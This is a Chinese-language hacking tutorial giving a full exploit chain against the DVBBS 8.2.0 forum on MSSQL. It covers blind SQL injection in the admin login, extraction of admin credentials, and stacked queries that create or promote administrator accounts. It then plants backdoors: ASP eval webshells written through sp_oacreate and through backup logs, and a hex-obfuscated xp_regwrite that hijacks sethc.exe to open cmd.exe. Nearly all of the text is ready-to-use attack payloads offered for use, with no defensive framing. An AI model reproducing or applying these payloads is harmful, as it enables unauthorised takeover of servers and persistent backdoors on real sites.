DVBBS 8.2.0漏洞利用+拿shell详解

管理用户' and '1'='1 用户名或者密码不正确.
管理用户' ' and '1'='2 本论坛不存在该用户名.
如果两次返回结果不同说明漏洞存在
下面判断数据库类型:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0
判断admin是否存在：
admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1

admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1

判断权限：
' and  (select is_srvrolemember('sysadmin'))>0--
' and  (select IS_MEMBER('db_owner'))>0--

af0378da05f63f89=abcd1234
方法一：注册用户

修改密码：

注册的用户（tester）';update dv_user set password='af0378da05f63f89' where username='tester'--

加入到管理组：

注册的用户（tester）';update dv_user set usergroupid=1 where username='tester'--

方法二：直接建用户

新建用户并加到管理组

存在的用户（admin）';insert into dv_user (username,userpassword,usergroupid) values('tester','af0378da05f63f89','1')--

存在的用户（admin）';insert into dv_admin (username,password,flag,adduser) values

('tester','af0378da05f63f89','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,3

2,33,34,35,36,37,38,39,40,41,42,43,44,45','tester')--

清理用户
delete from dv_admin where username='tester'
delete from dv_user where username='tester'

拿webshell思路:
第一种:
DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001

\Services\W3SVC\Parameters\Virtual Roots', '/' ,
@result output insert into web (gyfd) values(@result);
update dv_user set useremail =@result where username='bugtest1';

先把你个人的邮件地址修改成网站目录，然后再

declare @o int, @f int, @t int, @ret int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o,

'createtextfile', @f out, '上面得到的目录加木马地址', 1 exec @ret = sp_oamethod @f, 'writeline', NULL, '<%eval

request("#")%>';--
第二种:
映射劫持-5shift后门
declare @s varchar(4000) set @s=cast

(0x657865632078705F72656777726974652027484B45595F4C4F43414C5F4D414348494E45272C27534F4654574152455C4D6963726F736F667

45C57696E646F7773204E545C43757272656E7456657273696F6E5C496D6167652046696C6520457865637574696F6E204F7074696F6E735C736

57468632E657865272C276465627567676572272C277265675F737A272C27633A5C77696E646F77735C73797374656D33325C636D642E6578652

7DA as varchar(4000));exec(@s);

第三种:
找到网站路径BAKLOG TO A webshell
alter database XXX set RECOVERY FULL--
create table cmd (a image)--
backup log XXX to disk = 'c:\cmd' with init--
insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')--
backup log XXX to disk = 'e:\web\test.asp'--
drop table cmd--
alter database XXX set RECOVERY SIMPLE--

...........................这是当然啦.哈哈哈哈,